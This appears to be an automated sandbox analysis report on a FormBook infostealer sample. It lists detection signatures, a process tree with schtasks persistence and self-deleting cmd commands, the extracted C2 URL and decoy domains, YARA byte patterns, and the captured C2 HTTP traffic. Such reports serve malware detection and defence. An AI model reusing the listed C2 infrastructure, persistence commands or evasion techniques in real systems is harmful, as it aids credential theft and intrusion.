Play interactive tour

Edit tour

Windows Analysis Report 010013.exe

Overview

General Information

Sample Name:	010013.exe
Analysis ID:	501987
MD5:	b670879d45e75eb7f88fe047f9e88e5f
SHA1:	7497d669a327aebf33ec9dd1c554444d4ee826cf
SHA256:	ec427d5a521cdc4f2690ac7ffa883c982c4e3008991127998b0cfdf32f240f30
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for dropped file

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Modifies the prolog of user mode functions (user mode inline hooks)

Self deletion via cmd delete

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Drops PE files

Contains functionality to read the PEB

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

010013.exe (PID: 1568 cmdline: 'C:\Users\user\Desktop\010013.exe' MD5: B670879D45E75EB7F88FE047F9E88E5F)

schtasks.exe (PID: 6420 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

010013.exe (PID: 2128 cmdline: C:\Users\user\Desktop\010013.exe MD5: B670879D45E75EB7F88FE047F9E88E5F)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

netsh.exe (PID: 6648 cmdline: C:\Windows\SysWOW64\netsh.exe MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

cmd.exe (PID: 6680 cmdline: /c del 'C:\Users\user\Desktop\010013.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.nocodehost.com/o4ms/"], "decoy": ["fishingboatpub.com", "trebor72.com", "qualitycleanaustralia.com", "amphilykenyx.com", "jayte90.net", "alveegrace.com", "le-fleursoleil.com", "volumoffer.com", "businessbookwriters.com", "alpin-art.com", "firsttastetogo.com", "catofc.com", "ref-290.com", "sbo2008.com", "fortlauderdaleelevators.com", "shanghaiyalian.com", "majestybags.com", "afcerd.com", "myceliated.com", "ls0a.com", "chautauquapistolpermit.com", "cq1937.com", "riafellowship.com", "sjzlyk120.com", "onlinerebatemall.com", "bjlmzmd.com", "services-neetflix-info.info", "khaapa.com", "thehgboutique.com", "iconndigital.com", "ninjavendas.com", "zeonyej.icu", "iddqdtrk.com", "taoy360.info", "conanagent.icu", "mobileflirting.online", "lorrainelevis.com", "bakerrepublic.com", "tfi50.net", "mildlobr.com", "turnkeypet.com", "instarmall.com", "contilnetnoticias.website", "symbiocrm.com", "earn074.com", "swapf.com", "daveydavisphotography.com", "notes2nobody.com", "pensje.net", "nanoplastiakopoma.com", "inlandempiresublease.com", "donaldjtryump.com", "secondinningseva.com", "zumohub.xyz", "torbiedesigns.com", "koastedco.com", "lifestyleeve.com", "purposepalacevenue.com", "risk-managements.com", "doluhediye.com", "revolutionarylightworkers.com", "smithridge.net", "share-store.net", "jastalks.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x2675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x28ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x13dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x931a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x53f9:$sqlite3step: 68 34 1C 7B E1 0x550c:$sqlite3step: 68 34 1C 7B E1 0x5428:$sqlite3text: 68 38 2A 90 C5 0x554d:$sqlite3text: 68 38 2A 90 C5 0x543b:$sqlite3blob: 68 53 D8 7F 8C 0x5563:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x2675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x28ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x13dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x931a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x53f9:$sqlite3step: 68 34 1C 7B E1 0x550c:$sqlite3step: 68 34 1C 7B E1 0x5428:$sqlite3text: 68 38 2A 90 C5 0x554d:$sqlite3text: 68 38 2A 90 C5 0x543b:$sqlite3blob: 68 53 D8 7F 8C 0x5563:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x75480:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x756ea:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1f3ce8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1f3f52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8120d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1ffa75:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x80cf9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1ff561:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x8130f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1ffb77:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x81487:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x1ffcef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x76102:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1f496a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x7ff74:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1fe7dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x76dfb:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1f5663:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x86eaf:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x205717:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x87eb2:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x83f91:$sqlite3step: 68 34 1C 7B E1 0x840a4:$sqlite3step: 68 34 1C 7B E1 0x2027f9:$sqlite3step: 68 34 1C 7B E1 0x20290c:$sqlite3step: 68 34 1C 7B E1 0x83fc0:$sqlite3text: 68 38 2A 90 C5 0x840e5:$sqlite3text: 68 38 2A 90 C5 0x202828:$sqlite3text: 68 38 2A 90 C5 0x20294d:$sqlite3text: 68 38 2A 90 C5 0x83fd3:$sqlite3blob: 68 53 D8 7F 8C 0x840fb:$sqlite3blob: 68 53 D8 7F 8C 0x20283b:$sqlite3blob: 68 53 D8 7F 8C 0x202963:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 010013.exe PID: 1568	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.010013.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.010013.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14875:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14361:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14977:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x976a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa463:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a517:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b51a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.010013.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x175f9:$sqlite3step: 68 34 1C 7B E1 0x1770c:$sqlite3step: 68 34 1C 7B E1 0x17628:$sqlite3text: 68 38 2A 90 C5 0x1774d:$sqlite3text: 68 38 2A 90 C5 0x1763b:$sqlite3blob: 68 53 D8 7F 8C 0x17763:$sqlite3blob: 68 53 D8 7F 8C
0.2.010013.exe.2912ec4.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
6.2.010013.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.010013.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.010013.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
0.2.010013.exe.293e91c.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.nocodehost.com/o4ms/"], "decoy": ["fishingboatpub.com", "trebor72.com", "qualitycleanaustralia.com", "amphilykenyx.com", "jayte90.net", "alveegrace.com", "le-fleursoleil.com", "volumoffer.com", "businessbookwriters.com", "alpin-art.com", "firsttastetogo.com", "catofc.com", "ref-290.com", "sbo2008.com", "fortlauderdaleelevators.com", "shanghaiyalian.com", "majestybags.com", "afcerd.com", "myceliated.com", "ls0a.com", "chautauquapistolpermit.com", "cq1937.com", "riafellowship.com", "sjzlyk120.com", "onlinerebatemall.com", "bjlmzmd.com", "services-neetflix-info.info", "khaapa.com", "thehgboutique.com", "iconndigital.com", "ninjavendas.com", "zeonyej.icu", "iddqdtrk.com", "taoy360.info", "conanagent.icu", "mobileflirting.online", "lorrainelevis.com", "bakerrepublic.com", "tfi50.net", "mildlobr.com", "turnkeypet.com", "instarmall.com", "contilnetnoticias.website", "symbiocrm.com", "earn074.com", "swapf.com", "daveydavisphotography.com", "notes2nobody.com", "pensje.net", "nanoplastiakopoma.com", "inlandempiresublease.com", "donaldjtryump.com", "secondinningseva.com", "zumohub.xyz", "torbiedesigns.com", "koastedco.com", "lifestyleeve.com", "purposepalacevenue.com", "risk-managements.com", "doluhediye.com", "revolutionarylightworkers.com", "smithridge.net", "share-store.net", "jastalks.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 010013.exe	Virustotal: Detection: 39%			Perma Link
Source: 010013.exe	ReversingLabs: Detection: 32%

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\ELqDlkdxF.exe

ReversingLabs: Detection: 32%

Source: 6.2.010013.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: 010013.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 010013.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: netsh.pdb source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe, 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp
Source:	Binary string: netsh.pdbGCTL source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe

Source: C:\Users\user\Desktop\010013.exe	Code function: 4x nop then pop edi		6_2_0040E431
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 4x nop then pop edi		10_2_008CE431

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.smithridge.net
Source: C:\Windows\explorer.exe	Domain query: www.lifestyleeve.com
Source: C:\Windows\explorer.exe	Domain query: www.myceliated.com
Source: C:\Windows\explorer.exe	Network Connect: 199.59.242.153 80	Jump to behavior

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.nocodehost.com/o4ms/

Source: Joe Sandbox View

ASN Name: BODIS-NJUS BODIS-NJUS

Source: global traffic

HTTP traffic detected: GET /o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw HTTP/1.1Host: www.lifestyleeve.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 199.59.242.153 199.59.242.153

Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 010013.exe, 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	String found in binary or memory: http://www.collada.org/2005/11/COLLADASchema9Done
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
